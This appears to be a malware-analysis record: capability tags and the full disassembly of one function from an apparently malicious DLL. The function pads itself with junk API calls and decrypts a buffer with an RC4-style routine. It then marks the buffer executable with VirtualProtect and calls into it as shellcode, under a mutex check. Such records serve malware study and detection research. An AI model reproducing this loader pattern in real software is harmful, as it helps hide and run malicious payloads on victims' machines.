Function at 0x1000194d
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x10019138]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 4
call fcn.100039f5
pop ecx
push 4
mov dword [ebp - 0x28], eax
call fcn.100039f5
pop ecx
mov edi, eax
mov esi, str.V9onexQlw0aJf9zqEQocSXNVrjXnaMCzbYuvnAj
push esi
mov dword [ebp - 0x30], edi
call sym.xyxptsvteo.dll_kvforvjvgwuq
pop ecx
test eax, eax
je 0x10001992
push esi
call fcn.1000ed10
pop ecx
push 1
xor esi, esi
push esi
push esi
push esi
push str.wvwazttjmk
push str.OGzniNdJQ
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
push dword [ebp - 0x28]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x2c]
push eax
push edi
call sym.xyxptsvteo.dll_obgyutgxz
add esp, 0x10
push 0xa7
push 3
push 0x19
push 0x1e
call dword [sym.imp.GDI32.dll_CreateRectRgn]
push 0xfffffffffffffff5
mov dword [0x1001b570], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
xor ecx, ecx
mov word [ebp - 0x20], cx
mov word [ebp - 0x1e], cx
lea ecx, [ebp - 0x1c]
push ecx
push eax
mov dword [0x1001b578], eax
mov dword [ebp - 0x24], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
test eax, eax
je 0x10001a1a
movsx ecx, word [ebp - 0x1c]
lea eax, [ebp - 0x38]
push eax
movsx eax, word [ebp - 0x1a]
push dword [ebp - 0x20]
imul eax, ecx
push eax
push 0x20
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
xor eax, eax
mov dword [ebx + eax*4], eax
inc eax
cmp eax, 0x100
jb 0x10001a1c
lea eax, [ebp - 0x34]
push eax
push 0x40
push dword [edi]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0xa
call fcn.100021c6
pop ecx
mov dword [0x1001b340], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, dword [0x1001b340]
lea ecx, [edi + 1]
cmp ecx, eax
jbe 0x10001a71
lea esi, [eax + 1]
cmp esi, edi
jbe 0x10001a71
cmp edi, eax
jae 0x10001a69
mov al, byte [eax]
mov byte [edi], al
jmp 0x10001a74
mov al, byte [esi - 1]
mov byte [ecx - 1], al
jmp 0x10001a74
mov esi, eax
movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp dword [eax], ecx
je 0x10001ba9
mov dword [ebp - 0x20], ecx
mov esi, 0xff
mov edi, dword [ebp - 0x28]
xor edx, edx
mov eax, ecx
div dword [edi]
mov eax, dword [ebx + ecx*4]
mov dword [0x1001a020], eax
movsx edx, byte [edx + 0x1001b368]
add edx, eax
add edx, dword [ebp - 0x20]
and edx, esi
mov dword [ebp - 0x20], edx
mov edx, dword [ebx + edx*4]
mov dword [ebx + ecx*4], edx
mov edx, dword [ebp - 0x20]
inc ecx
mov dword [ebx + edx*4], eax
cmp ecx, 0x100
jb 0x10001a89
mov ecx, dword [0x1001b364]
mov eax, dword [0x1001b46c]
imul ecx, ecx, 0xc
xor eax, 0x367
sub eax, ecx
add eax, 0xc
mov dword [0x1001a040], eax
mov eax, dword [ebp - 0x28]
xor edi, edi
mov dword [0x1001b56c], edi
cmp dword [eax], edi
jne 0x10001af3
xor eax, eax
jmp 0x10001bac
push str.pyyofrxotxd
push edi
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x10001b15
push str.pyyofrxotxd
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov eax, dword [ebp - 0x30]
and dword [ebp - 0x20], edi
cmp dword [eax], edi
jbe 0x10001b80
mov eax, dword [0x1001b364]
push 2
pop ecx
sub ecx, eax
and ecx, 6
xor ecx, eax
mov dword [0x1001a040], ecx
mov ecx, dword [0x1001b56c]
jmp 0x10001b3f
mov edi, dword [ebp - 0x24]
inc ecx
and ecx, esi
mov eax, dword [ebx + ecx*4]
lea edx, [eax + edi]
and edx, esi
mov dword [ebp - 0x24], edx
lea edx, [ebx + edx*4]
mov edi, dword [edx]
mov dword [ebx + ecx*4], edi
mov edi, dword [ebp - 0x2c]
mov dword [edx], eax
mov eax, dword [ebx + ecx*4]
add eax, dword [edx]
mov edx, dword [ebp - 0x20]
and eax, esi
mov dword [0x1001a020], eax
mov al, byte [ebx + eax*4]
xor byte [edi + edx], al
mov eax, dword [ebp - 0x30]
inc edx
mov dword [ebp - 0x20], edx
cmp edx, dword [eax]
jb 0x10001b3c
mov dword [0x1001b56c], ecx
push 0x14
call fcn.10001ea5
pop ecx
push 3
push str.yqwmlxlpyxvzvg
push eax
mov dword [str.F767v4w0c4u2CHOuY3bE5LCvQpGIiHXeNbKB4xrrUp], eax
call fcn.10002b80
mov eax, dword [str.F767v4w0c4u2CHOuY3bE5LCvQpGIiHXeNbKB4xrrUp]
add esp, 0xc
mov byte [eax + 4], 0
call dword [ebp - 0x2c]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001eb0
leave
ret